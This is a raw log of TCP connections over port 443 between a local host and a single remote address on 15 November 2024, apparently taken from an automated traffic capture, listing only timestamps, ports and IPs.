Nov 15, 2024 19:39:55.857363939 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.858606100 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.858633041 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.860636950 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.860661983 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.860714912 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.860857010 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.860867977 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.862190962 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.862219095 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.862277985 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.866017103 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.866040945 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.954327106 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.973815918 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.973850012 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.974668026 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.974673986 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.101999998 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.102035046 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.102082014 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.102109909 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.102171898 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.103477001 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.103554010 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.103565931 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.103573084 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.110102892 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.110125065 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.110188007 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.110694885 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.110713005 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.432718992 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.433207989 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.433245897 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.433748960 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.433754921 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.562355995 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.562539101 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.562593937 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.564521074 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.564551115 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.570507050 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.570538998 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.570700884 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.571441889 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.571460009 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.588222980 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.588656902 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.588680983 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.589191914 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.589199066 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.591943979 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.592310905 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.592367887 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.592870951 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.592885971 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.597528934 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.598058939 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.598089933 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.598460913 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.598473072 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.716559887 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.716804028 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.716870070 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.716872931 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.716942072 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.717042923 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.717091084 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.717119932 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.717137098 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.719779015 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.719821930 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.720007896 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.720170021 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.720180988 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.722671032 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.722738981 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.722953081 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.722997904 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.723015070 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.723025084 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.723030090 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.725944042 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.725984097 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.726131916 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.726502895 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.726519108 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.726537943 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.726638079 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.726695061 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.726835012 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.726840973 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.726849079 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.726852894 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.729048967 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.729139090 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.729290009 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.729507923 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.729542017 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.852571964 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.859169006 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.859186888 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.859697104 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.859704018 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.987895012 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.988063097 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.988116980 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:56.988125086 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.988158941 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.998609066 CET	49996	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:56.998620033 CET	443	49996	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.014854908 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.014898062 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.015268087 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.015516996 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.015532970 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.323853016 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.363745928 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.413314104 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.413347960 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.414036989 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.414046049 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.451406956 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.451838970 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.451869011 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.452502012 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.452506065 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.454838991 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.455416918 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.455437899 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.455924988 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.455930948 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.459888935 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.460349083 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.460365057 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.460757017 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.460762024 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.538003922 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.538186073 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.538280964 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.538541079 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.538554907 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.538577080 CET	50005	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.538584948 CET	443	50005	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.542268038 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.542303085 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.542515993 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.543854952 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.543870926 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.578387976 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.578546047 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.579293013 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.579328060 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.579341888 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.579350948 CET	50006	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.579355955 CET	443	50006	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.581789970 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.581832886 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.582017899 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.582017899 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.582058907 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.585829020 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.585962057 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.586519957 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.588047981 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.588059902 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.588089943 CET	50007	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.588094950 CET	443	50007	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.591882944 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.591907024 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.591978073 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.592305899 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.592318058 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.594835997 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.594964027 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.595001936 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.595046043 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.595098019 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.595109940 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.595118046 CET	50008	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.595123053 CET	443	50008	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.599704981 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.599719048 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.599781036 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.600236893 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.600250006 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.762764931 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.763628006 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.763668060 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.764554024 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.764559984 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.894370079 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.894458055 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.894531965 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.903014898 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.903032064 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.903043985 CET	50009	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.903048992 CET	443	50009	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.906569004 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.906601906 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:57.906678915 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.906996965 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:57.907007933 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.275527954 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.318409920 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.318945885 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.325670004 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.351768017 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.363590956 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.436522007 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.436536074 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.436995029 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.437000990 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.437761068 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.437776089 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.443600893 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.443605900 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.444327116 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.444360971 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.452680111 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.452687025 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.461555958 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.461587906 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.464714050 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.464721918 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.559720993 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.559797049 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.559892893 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.559909105 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.559947014 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.559986115 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.565712929 CET	50018	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.565727949 CET	443	50018	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.567619085 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.567778111 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.568186998 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.573461056 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.573473930 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.573513031 CET	50019	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.573518038 CET	443	50019	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.575932026 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.575968981 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.576036930 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.576745033 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.576759100 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.577755928 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.577790022 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.577917099 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.578078032 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.578089952 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.579159021 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.579385042 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.579428911 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.579449892 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.579480886 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.579870939 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.579885006 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.579899073 CET	50020	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.579906940 CET	443	50020	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.582432985 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.582458019 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.582529068 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.582686901 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.582700014 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.596658945 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.597059965 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.597115993 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.597143888 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.597145081 CET	50021	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.597162962 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.597176075 CET	443	50021	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.599981070 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.600004911 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.600296021 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.600478888 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.600490093 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.627796888 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.628140926 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.628154993 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.628591061 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.628596067 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.755125999 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.755203009 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.755250931 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.756372929 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.756387949 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.756397009 CET	50033	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.756402969 CET	443	50033	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.759241104 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.759294987 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:58.759362936 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.759521961 CET	50039	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:58.759538889 CET	443	50039	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.312474966 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.313074112 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.313095093 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.313607931 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.313612938 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.327330112 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.330051899 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.330070019 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.330461979 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.330466986 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.338249922 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.339965105 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.340025902 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.340497971 CET	50037	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.340512991 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.341346025 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.341873884 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.341912031 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.342258930 CET	50035	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.342266083 CET	443	50035	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.441750050 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.441823006 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.441907883 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.442073107 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.442090034 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.442100048 CET	50034	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.442105055 CET	443	50034	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.445136070 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.445183992 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.445261002 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.445440054 CET	50046	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.445447922 CET	443	50046	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.464066982 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.464169979 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.464225054 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.464364052 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.464400053 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.464427948 CET	50036	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.464443922 CET	443	50036	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.467518091 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.467561960 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.467628002 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.467886925 CET	50047	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:59.467899084 CET	443	50047	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.468199968 CET	443	50037	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:59.468255043 CET	443	50037	13.107.246.45	192.168.2.7
